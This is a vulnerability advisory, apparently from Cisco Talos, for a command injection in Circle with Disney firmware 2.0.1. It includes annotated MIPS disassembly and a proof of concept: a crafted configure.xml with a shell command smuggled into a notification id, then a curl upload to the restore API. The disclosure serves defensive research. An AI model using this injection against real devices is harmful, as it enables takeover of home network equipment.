CVE-2017-2917
An exploitable vulnerability exists in the notifications functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause an OS command injection. An attacker can send an HTTP request trigger this vulnerability.
Circle with Disney 2.0.1
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
Circle with Disney is a network device used to monitor internet use of children on a given network.
Circle allows for backing up and restoring configuration backups using API commands. Backups contain a file named “configure.xml”, which contains most of the device’s configuration.
When restoring a backup using the API command “/api/CONFIG/restore”, the “configure.xml” file contained in the backup is copied to “/mnt/shares/usr/bin/configure.xml” with very little checks: the file is considered valid if it’s not empty and it contains the following strings:
<config>
<wifi>
<overall>
<users>
<devices>
<contact>
After a backup configuration is restored, the device is rebooted.
Vulnerable code exists in the configd binary in function sub_410294, which configures the device based on the existing “configure.xml”.
At [1] “configure.xml” is opened and at [2] the temporary notifications directory is cleared.
Several functions are then used (e.g. at [3]) to navigate the XML configuration to get to the first “notification” element.
Then a format string is built at [4] and is passed to system() at [5] together with the “id” property, for every “notification” element.
.text:00410294 sub_410294:
.text:00410294
...
.text:00410480 278 addiu $a0, $sp, 0x278+var_258
.text:00410484 278 la $a1, aMntSharesUs_14 # "/mnt/shares/usr/bin/configure.xml"
.text:00410488 278 sw $s2, (dword_44825C - 0x448258)($a2)
.text:0041048C 278 sw $zero, (dword_448268 - 0x448264)($v1)
.text:00410490 278 sw $zero, (dword_44826C - 0x448264)($v1)
.text:00410494 278 jal sub_41FBE4 # [1]
...
.text:00410760 loc_410760:
.text:00410760 278 addiu $s4, $sp, 0x278+var_E4
.text:00410764 278 lui $s2, 0x43
.text:00410768 278 lui $a2, 0x43
.text:0041076C 278 move $a0, $s4
.text:00410770 278 li $a1, 0x80
.text:00410774 278 la $a2, aRmFS # "rm -f %s*"
.text:00410778 278 jal snprintf
.text:0041077C 278 addiu $a3, $s2, (aTmpEnabled_not - 0x430000) # "/tmp/enabled_notifications/"
.text:00410780 278 jal system # [2]
.text:00410784 278 move $a0, $s4
.text:00410788 278 lui $a1, 0x43
.text:0041078C 278 move $a0, $s0
.text:00410790 278 jal sub_41D3EC # [3]
.text:00410794 278 la $a1, (aOverallActiven+8) # "activeNotifications"
.text:00410798 278 beqz $v0, loc_410A74
.text:0041079C 278 lui $s3, 0x43
.text:004107A0 278 move $a0, $v0
.text:004107A4 278 jal sub_41D3EC # [3]
.text:004107A8 278 addiu $a1, $s3, (aNotification - 0x430000) # "notification"
.text:004107AC 278 beqz $v0, loc_410A74
.text:004107B0 278 move $s0, $v0
.text:004107B4 278 lui $s6, 0x43
.text:004107B8 278 lui $s7, 0x43
.text:004107BC 278 lui $s5, 0x43
.text:004107C0 278 la $s6, aTouchSnotifica # [4] "touch %snotification.%s"
.text:004107C4 278 j loc_4107E8
.text:004107C8 278 la $s7, a1 # "1"
.text:004107CC
.text:004107CC loc_4107CC:
.text:004107CC 278 lui $a2, 0x45
.text:004107D0 278 sw $v0, dword_448264
.text:004107D4
.text:004107D4 loc_4107D4:
.text:004107D4 278 move $a0, $s0
.text:004107D8
.text:004107D8 loc_4107D8:
.text:004107D8 278 jal sub_41D694
.text:004107DC 278 addiu $a1, $s3, 0x314
.text:004107E0 278 beqz $v0, loc_410A74
.text:004107E4 278 move $s0, $v0
.text:004107E8
.text:004107E8 loc_4107E8:
.text:004107E8 278 move $a0, $s0
.text:004107EC 278 addiu $a1, $s5, -0x12E4
.text:004107F0 278 jal sub_41E028
.text:004107F4 278 move $a2, $zero
.text:004107F8 278 move $a0, $s4
.text:004107FC 278 sw $v0, 0x278+var_268($sp)
.text:00410800 278 li $a1, 0x80
.text:00410804 278 move $a2, $s6 # [4]
.text:00410808 278 addiu $a3, $s2, 0x2F8
.text:0041080C 278 jal snprintf
.text:00410810 278 move $s1, $v0
.text:00410814 278 jal system # [5]
...
.text:00410854 278 j loc_4107D4
.text:00410858 278 sw $v0, (dword_448268 - 0x448264)($v1)
In short the function finds all “notification” elements in the XML path “config/overall/activeNotifications”. Then, for each element, the “id” property is extracted and a file is created using:
system("touch /tmp/enabled_notifications/notification.<id>")
Since “id” is never sanitized and is used in system(), an attacker may use this vulnerability to arbitrarily execute code on the device.
The following proof of concept shows how to execute a command on the device. An attacker needs a valid token in order to trigger the vulnerability.
-- create backup binary
$ sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ tree backup
backup
├── backup.version
├── configure.xml
└── photos
$ cat configure.xml
<config>
<wifi></wifi>
<overall>
<activeNotifications>
<notification id=";echo fastblink > /tmp/blueled;"/>
</activeNotifications>
</overall>
<users></users>
<devices></devices>
<contact></contact>
</config>
$ tar -C backup -cvzf backup.tgz configure.xml photos backup.version
$ aescrypt -e -p $sAppid -o backup.bin backup.tgz
-- send binary for config restore
$ curl -k "https://${sIP}:4567/api/CONFIG/restore" -F "token=${sToken}" -F "appid=${sAppid}" -F "upload=@backup.bin"
-- wait for reboot
In this case the command executed after reboot will make the device’s led blink rapidly.
touch /tmp/enabled_notifications/notification.;echo fastblink > /tmp/blueled;
2017-08-29 - Vendor Disclosure
2017-10-31 - Public Release
Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.